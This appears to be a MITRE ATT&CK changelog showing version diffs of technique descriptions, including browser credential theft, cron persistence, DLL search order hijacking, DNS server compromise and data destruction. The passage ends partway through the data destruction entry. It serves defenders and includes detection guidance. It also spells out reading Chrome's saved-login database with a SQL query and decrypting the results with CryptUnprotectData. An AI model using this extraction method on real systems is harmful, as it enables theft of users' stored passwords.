| external_references | {'source_name': 'Specter Ops - Cloud Credential Storage', 'description': 'Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.', 'url': 'https://posts.specterops.io/head-in-the-clouds-bd038bb69e48'} | |
| x_mitre_contributors | Rory McCune, Aqua Security | |
| x_mitre_contributors | Jay Chen, Palo Alto Networks | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may acquire credentials from web browsers by rea | t | 1 | Adversaries may acquire credentials from web browsers by rea |
| > | ding files specific to the target browser.(Citation: Talos O | > | ding files specific to the target browser.(Citation: Talos O | ||
| > | lympic Destroyer 2018) Web browsers commonly save credential | > | lympic Destroyer 2018) Web browsers commonly save credential | ||
| > | s such as website usernames and passwords so that they do no | > | s such as website usernames and passwords so that they do no | ||
| > | t need to be entered manually in the future. Web browsers ty | > | t need to be entered manually in the future. Web browsers ty | ||
| > | pically store the credentials in an encrypted format within | > | pically store the credentials in an encrypted format within | ||
| > | a credential store; however, methods exist to extract plaint | > | a credential store; however, methods exist to extract plaint | ||
| > | ext credentials from web browsers. For example, on Windows | > | ext credentials from web browsers. For example, on Windows | ||
| > | systems, encrypted credentials may be obtained from Google C | > | systems, encrypted credentials may be obtained from Google C | ||
| > | hrome by reading a database file, <code>AppData\Local\Google | > | hrome by reading a database file, <code>AppData\Local\Google | ||
| > | \Chrome\User Data\Default\Login Data</code> and executing a | > | \Chrome\User Data\Default\Login Data</code> and executing a | ||
| > | SQL query: <code>SELECT action_url, username_value, password | > | SQL query: <code>SELECT action_url, username_value, password | ||
| > | _value FROM logins;</code>. The plaintext password can then | > | _value FROM logins;</code>. The plaintext password can then | ||
| > | be obtained by passing the encrypted credentials to the Wind | > | be obtained by passing the encrypted credentials to the Wind | ||
| > | ows API function <code>CryptUnprotectData</code>, which uses | > | ows API function <code>CryptUnprotectData</code>, which uses | ||
| > | the victim’s cached logon credentials as the decryption key | > | the victim’s cached logon credentials as the decryption key | ||
| > | . (Citation: Microsoft CryptUnprotectData April 2018) Adv | > | . (Citation: Microsoft CryptUnprotectData April 2018) Adve | ||
| > | ersaries have executed similar procedures for common web bro | > | rsaries have executed similar procedures for common web brow | ||
| > | wsers such as FireFox, Safari, Edge, etc. (Citation: Proofpo | > | sers such as FireFox, Safari, Edge, etc.(Citation: Proofpoin | ||
| > | int Vega Credential Stealer May 2018)(Citation: FireEye Hawk | > | t Vega Credential Stealer May 2018)(Citation: FireEye HawkEy | ||
| > | Eye Malware July 2017) Adversaries may also acquire credent | > | e Malware July 2017) Windows stores Internet Explorer and Mi | ||
| > | ials by searching web browser process memory for patterns th | > | crosoft Edge credentials in Credential Lockers managed by th | ||
| > | at commonly match credentials.(Citation: GitHub Mimikittenz | > | e [Windows Credential Manager](https://attack.mitre.org/tech | ||
| > | July 2016) After acquiring credentials from web browsers, a | > | niques/T1555/004). Adversaries may also acquire credentials | ||
| > | dversaries may attempt to recycle the credentials across dif | > | by searching web browser process memory for patterns that c | ||
| > | ferent systems and/or accounts in order to expand access. Th | > | ommonly match credentials.(Citation: GitHub Mimikittenz July | ||
| > | is can result in significantly furthering an adversary's obj | > | 2016) After acquiring credentials from web browsers, adver | ||
| > | ective in cases where credentials gained from web browsers o | > | saries may attempt to recycle the credentials across differe | ||
| > | verlap with privileged accounts (e.g. domain administrator). | > | nt systems and/or accounts in order to expand access. This c | ||
| > | an result in significantly furthering an adversary's objecti | ||||
| > | ve in cases where credentials gained from web browsers overl | ||||
| > | ap with privileged accounts (e.g. domain administrator). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-17 13:20:02.386000+00:00 | 2021-04-14 14:03:47.293000+00:00 |
| description | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). |
| external_references[2]['source_name'] | Microsoft CryptUnprotectData April 2018 | Microsoft CryptUnprotectData April 2018 |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | API monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | PowerShell logs | Process: OS API Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the <code>cron</code> utility to perfo | t | 1 | Adversaries may abuse the <code>cron</code> utility to perfo |
| > | rm task scheduling for initial or recurring execution of mal | > | rm task scheduling for initial or recurring execution of mal | ||
| > | icious code. The <code>cron</code> utility is a time-based j | > | icious code.(Citation: 20 macOS Common Tools and Techniques) | ||
| > | ob scheduler for Unix-like operating systems. The <code> cr | > | The <code>cron</code> utility is a time-based job scheduler | ||
| > | ontab</code> file contains the schedule of cron entries to b | > | for Unix-like operating systems. The <code> crontab</code> | ||
| > | e run and the specified times for execution. Any <code>cront | > | file contains the schedule of cron entries to be run and th | ||
| > | ab</code> files are stored in operating system-specific file | > | e specified times for execution. Any <code>crontab</code> fi | ||
| > | paths. An adversary may use <code>cron</code> in Linux or | > | les are stored in operating system-specific file paths. An | ||
| > | Unix environments to execute programs at system startup or o | > | adversary may use <code>cron</code> in Linux or Unix environ | ||
| > | n a scheduled basis for persistence. <code>cron</code> can a | > | ments to execute programs at system startup or on a schedule | ||
| > | lso be abused to conduct remote Execution as part of Lateral | > | d basis for persistence. | ||
| > | Movement and or to run a process under the context of a spe | ||||
| > | cified account. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 23:30:46.546000+00:00 | 2021-08-23 15:29:36.918000+00:00 |
| description | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. |
| x_mitre_data_sources[0] | Process command-line parameters | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the search order used to load DLLs. Windows systems us | > | cking the search order used to load DLLs. Windows systems us | ||
| > | e a common method to look for required DLLs to load into a p | > | e a common method to look for required DLLs to load into a p | ||
| > | rogram. (Citation: Microsoft Dynamic Link Library Search Ord | > | rogram. (Citation: Microsoft Dynamic Link Library Search Ord | ||
| > | er) Hijacking DLL loads may be for the purpose of establishi | > | er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa | ||
| > | ng persistence as well as elevating privileges and/or evadin | > | ds may be for the purpose of establishing persistence as wel | ||
| > | g restrictions on file execution. There are many ways an ad | > | l as elevating privileges and/or evading restrictions on fil | ||
| > | versary can hijack DLL loads. Adversaries may plant trojan d | > | e execution. There are many ways an adversary can hijack DL | ||
| > | ynamic-link library files (DLLs) in a directory that will be | > | L loads. Adversaries may plant trojan dynamic-link library f | ||
| > | searched before the location of a legitimate library that w | > | iles (DLLs) in a directory that will be searched before the | ||
| > | ill be requested by a program, causing Windows to load their | > | location of a legitimate library that will be requested by a | ||
| > | malicious library when it is called for by the victim progr | > | program, causing Windows to load their malicious library wh | ||
| > | am. Adversaries may also perform DLL preloading, also called | > | en it is called for by the victim program. Adversaries may a | ||
| > | binary planting attacks, (Citation: OWASP Binary Planting) | > | lso perform DLL preloading, also called binary planting atta | ||
| > | by placing a malicious DLL with the same name as an ambiguou | > | cks, (Citation: OWASP Binary Planting) by placing a maliciou | ||
| > | sly specified DLL in a location that Windows searches before | > | s DLL with the same name as an ambiguously specified DLL in | ||
| > | the legitimate DLL. Often this location is the current work | > | a location that Windows searches before the legitimate DLL. | ||
| > | ing directory of the program. Remote DLL preloading attacks | > | Often this location is the current working directory of the | ||
| > | occur when a program sets its current directory to a remote | > | program.(Citation: FireEye fxsst June 2011) Remote DLL prelo | ||
| > | location such as a Web share before loading a DLL. (Citation | > | ading attacks occur when a program sets its current director | ||
| > | : Microsoft Security Advisory 2269637) Adversaries may also | > | y to a remote location such as a Web share before loading a | ||
| > | directly modify the way a program loads DLLs by replacing a | > | DLL. (Citation: Microsoft Security Advisory 2269637) Advers | ||
| > | n existing DLL or modifying a .manifest or .local redirectio | > | aries may also directly modify the search order via DLL redi | ||
| > | n file, directory, or junction to cause the program to load | > | rection, which after being enabled (in the Registry and crea | ||
| > | a different DLL. (Citation: Microsoft Dynamic-Link Library R | > | tion of a redirection file) may cause a program to load a di | ||
| > | edirection) (Citation: Microsoft Manifests) (Citation: FireE | > | fferent DLL.(Citation: Microsoft Dynamic-Link Library Redire | ||
| > | ye DLL Search Order Hijacking) If a search order-vulnerable | > | ction)(Citation: Microsoft Manifests)(Citation: FireEye DLL | ||
| > | program is configured to run at a higher privilege level, t | > | Search Order Hijacking) If a search order-vulnerable progra | ||
| > | hen the adversary-controlled DLL that is loaded will also be | > | m is configured to run at a higher privilege level, then the | ||
| > | executed at the higher level. In this case, the technique c | > | adversary-controlled DLL that is loaded will also be execut | ||
| > | ould be used for privilege escalation from user to administr | > | ed at the higher level. In this case, the technique could be | ||
| > | ator or SYSTEM or from administrator to SYSTEM, depending on | > | used for privilege escalation from user to administrator or | ||
| > | the program. Programs that fall victim to path hijacking ma | > | SYSTEM or from administrator to SYSTEM, depending on the pr | ||
| > | y appear to behave normally because malicious DLLs may be co | > | ogram. Programs that fall victim to path hijacking may appea | ||
| > | nfigured to also load the legitimate DLLs they were meant to | > | r to behave normally because malicious DLLs may be configure | ||
| > | replace. | > | d to also load the legitimate DLLs they were meant to replac | ||
| > | e. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 16:13:58.862000+00:00 | 2021-04-26 18:37:03.748000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL. (Citation: Microsoft Dynamic-Link Library Redirection) (Citation: Microsoft Manifests) (Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. |
| external_references[3]['source_name'] | OWASP Binary Planting | FireEye Hijacking July 2010 |
| external_references[3]['description'] | OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. | Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020. |
| external_references[3]['url'] | https://www.owasp.org/index.php/Binary_planting | https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html |
| external_references[4]['source_name'] | Microsoft Security Advisory 2269637 | OWASP Binary Planting |
| external_references[4]['description'] | Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. | OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 | https://www.owasp.org/index.php/Binary_planting |
| external_references[5]['source_name'] | Microsoft Dynamic-Link Library Redirection | FireEye fxsst June 2011 |
| external_references[5]['description'] | Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. | Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN | https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html |
| external_references[6]['source_name'] | Microsoft Manifests | Microsoft Security Advisory 2269637 |
| external_references[6]['description'] | Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. | Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. |
| external_references[6]['url'] | https://msdn.microsoft.com/en-US/library/aa375365 | https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 |
| external_references[7]['source_name'] | FireEye DLL Search Order Hijacking | Microsoft Dynamic-Link Library Redirection |
| external_references[7]['description'] | Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020. | Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html | https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN |
| x_mitre_data_sources[0] | Process command-line parameters | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | DLL monitoring | Module: Module Load |
| x_mitre_detection | Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. | Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Manifests', 'description': 'Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.', 'url': 'https://msdn.microsoft.com/en-US/library/aa375365'} | |
| external_references | {'source_name': 'FireEye DLL Search Order Hijacking', 'description': 'Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party DNS servers that can |
| > | rd-party DNS servers that can be used during targeting. Duri | > | be used during targeting. During post-compromise activity, a | ||
| > | ng post-compromise activity, adversaries may utilize DNS tra | > | dversaries may utilize DNS traffic for various tasks, includ | ||
| > | ffic for various tasks, including for Command and Control (e | > | ing for Command and Control (ex: [Application Layer Protocol | ||
| > | x: [Application Layer Protocol](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | ||
| > | hniques/T1071)). Instead of setting up their own DNS servers | > | tting up their own DNS servers, adversaries may compromise t | ||
| > | , adversaries may compromise third-party DNS servers in supp | > | hird-party DNS servers in support of operations. By comprom | ||
| > | ort of operations. By compromising DNS servers, adversaries | > | ising DNS servers, adversaries can alter DNS records. Such c | ||
| > | can alter DNS records. Such control can allow for redirecti | > | ontrol can allow for redirection of an organization's traffi | ||
| > | on of an organization's traffic, facilitating Collection and | > | c, facilitating Collection and Credential Access efforts for | ||
| > | Credential Access efforts for the adversary.(Citation: Talo | > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | ||
| > | s DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Ad | > | n: FireEye DNS Hijack 2019) Adversaries may also be able to | ||
| > | versaries may also be able to silently create subdomains poi | > | silently create subdomains pointed at malicious servers with | ||
| > | nted at malicious servers without tipping off the actual own | > | out tipping off the actual owner of the DNS server.(Citation | ||
| > | er of the DNS server.(Citation: CiscoAngler)(Citation: Proof | > | : CiscoAngler)(Citation: Proofpoint Domain Shadowing) | ||
| > | point Domain Shadowing) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 01:22:53.922000+00:00 | 2021-10-17 15:56:05.112000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) | Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may destroy data and files on specific systems o | t | 1 | Adversaries may destroy data and files on specific systems o |
| > | r in large numbers on a network to interrupt availability to | > | r in large numbers on a network to interrupt availability to | ||
| > | systems, services, and network resources. Data destruction | > | systems, services, and network resources. Data destruction | ||
| > | is likely to render stored data irrecoverable by forensic te | > | is likely to render stored data irrecoverable by forensic te | ||
| > | chniques through overwriting files or data on local and remo | > | chniques through overwriting files or data on local and remo | ||
| > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | ||
| > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | ||
| > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | ||
| > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | ||
| > | ting system file deletion commands such as <code>del</code> | > | ting system file deletion commands such as <code>del</code> | ||
| > | and <code>rm</code> often only remove pointers to files with | > | and <code>rm</code> often only remove pointers to files with | ||
| > | out wiping the contents of the files themselves, making the | > | out wiping the contents of the files themselves, making the | ||
| > | files recoverable by proper forensic methodology. This behav | > | files recoverable by proper forensic methodology. This behav | ||
| > | ior is distinct from [Disk Content Wipe](https://attack.mitr | > | ior is distinct from [Disk Content Wipe](https://attack.mitr | ||
| > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | ||
| > | //attack.mitre.org/techniques/T1561/002) because individual | > | //attack.mitre.org/techniques/T1561/002) because individual | ||
| > | files are destroyed rather than sections of a storage disk o | > | files are destroyed rather than sections of a storage disk o | ||
| > | r the disk's logical structure. Adversaries may attempt to | > | r the disk's logical structure. Adversaries may attempt to | ||
| > | overwrite files and directories with randomly generated data | > | overwrite files and directories with randomly generated data | ||
| > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | ||
| > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | ||
| > | ly oriented image files have been used to overwrite data.(Ci | > | ly oriented image files have been used to overwrite data.(Ci | ||
| > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | ||
| > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | ||
| > | e impact on the target organization in operations where netw | > | e impact on the target organization in operations where netw | ||
| > | ork-wide availability interruption is the goal, malware desi | > | ork-wide availability interruption is the goal, malware desi | ||
| > | gned for destroying data may have worm-like features to prop | > | gned for destroying data may have worm-like features to prop | ||
| > | agate across a network by leveraging additional techniques l | > | agate across a network by leveraging additional techniques l | ||
| > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | ||
| > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | ||
| > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | ||
| > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | ||
| > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | ||
| > | tion: Talos Olympic Destroyer 2018) | > | tion: Talos Olympic Destroyer 2018). In cloud environments, | ||
| > | adversaries may leverage access to delete cloud storage, cl | ||||
| > | oud storage accounts, machine images, and other infrastructu | ||||
| > | re crucial to operations to damage an organization or their | ||||
| > | customers.(Citation: Data Destruction - Threat Post)(Citatio | ||||
| > | n: DOJ - Cisco Insider) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Brent Murphy, Elastic', 'David French, Elastic', 'Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Varonis Threat Labs'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 21:08:19.783000+00:00 | 2021-03-25 14:47:48.728000+00:00 |
| description | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
